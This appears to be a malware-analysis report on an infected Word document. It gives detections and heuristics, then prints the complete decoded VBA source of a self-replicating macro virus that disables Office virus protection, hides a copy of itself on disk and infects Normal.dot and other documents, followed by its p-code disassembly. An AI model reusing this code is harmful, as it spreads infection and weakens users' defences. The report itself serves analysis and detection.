MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a malicious Office document containing VBA macros. The macros attempt to disable virus protection and replicate themselves to the Normal.dot template, indicating a self-propagation or persistence mechanism. The ClamAV detection 'Doc.Trojan.Ethan-20' further supports its malicious nature. The specific intent appears to be to embed malicious code within the Normal.dot template for future documents.
Heuristics 3
-
ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-20
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
t.CodeModule.InsertLines i, a
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5684 bytes |
SHA-256: 305ecef685ce10b1c47a3c14852619b1c3e5aa9786f6ed866fbe83c22a4d6dcd |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If Dir("c:\pagefile.dat", 6) = "" Then
Open "c:\pagefile.dat" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\pagefile.dat", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\pagefile.dat" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
' Processing file: /opt/analyzer/scan_staging/1ca39317081f415b84918b55884cedf1.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3283 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #3:
' LitDI2 0x0001
' UMi
' Not
' Ld Application
' MemSt EnableCancelKey
' Line #4:
' StartWithExpr
' Ld Options
' With
' BoS 0x0000
' LitDI2 0x0000
' MemStWith ConfirmConversions
' BoS 0x0000
' LitDI2 0x0000
' MemStWith VirusProtection
' BoS 0x0000
' LitDI2 0x0000
' MemStWith SaveNormalPrompt
' BoS 0x0000
' EndWith
' Line #5:
' LitStr 0x000F "c:\pagefile.dat"
' LitDI2 0x0006
' ArgsLd Dir 0x0002
' LitStr 0x0000 ""
' Eq
' IfBlock
' Line #6:
' LitStr 0x000F "c:\pagefile.dat"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #7:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #8:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St a
' Line #9:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld a
' PrintItemNL
' Line #10:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #11:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #12:
' LitStr 0x000F "c:\pagefile.dat"
' LitDI2 0x0006
' ArgsCall SetAttr 0x0002
' Line #13:
' EndIfBlock
' Line #14:
' LitStr 0x000C "c:\class.sys"
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' LitStr 0x000C "c:\class.sys"
' ArgsCall Kill 0x0001
' EndIf
' Line #15:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_Close()"
' Ne
' IfBlock
' Line #16:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set t
' Line #17:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_Close()"
' Ne
' ElseIfBlock
' Line #18:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set t
' Line #19:
' ElseBlock
' Line #20:
' LitStr 0x0000 ""
' St t
' Line #21:
' EndIfBlock
' Line #22:
' Ld t
' LitStr 0x0000 ""
' Ne
' IfBlock
' Line #23:
' LitStr 0x000F "c:\pagefile.dat"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Input)
' Line #24:
' LitDI2 0x0001
' ArgsLd LOF 0x0001
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' GoTo q
' EndIf
' Line #25:
' LitDI2 0x0001
' St i
' Line #26:
' LitDI2 0x0001
' ArgsLd EOF 0x0001
' Not
' DoWhile
' Line #27:
' LitDI2 0x0001
' Ld a
' LineInput
' Line #28:
' Ld i
' Ld a
' Ld t
' MemLd CodeModule
' ArgsMemCall InsertLines 0x0002
' Line #29:
' Ld i
' LitDI2 0x0001
' Add
' St i
' Line #30:
' Loop
' Line #31:
' Label q
' Line #32:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #33:
' Ld ActiveDocument
' MemLd New
' LitDI2 0x0008
' ArgsLd LBound 0x0002
' LitStr 0x0008 "Document"
' Ne
' If
' BoSImplicit
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' EndIf
' Line #34:
' EndIfBlock
' Line #35:
' Ld ActiveDocument
' MemLd Saved
' Ld s
' Ne
' If
' BoSImplicit
' Ld s
' Ld ActiveDocument
' MemSt Saved
' EndIf
' Line #36:
' EndSub
' Line #37:
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.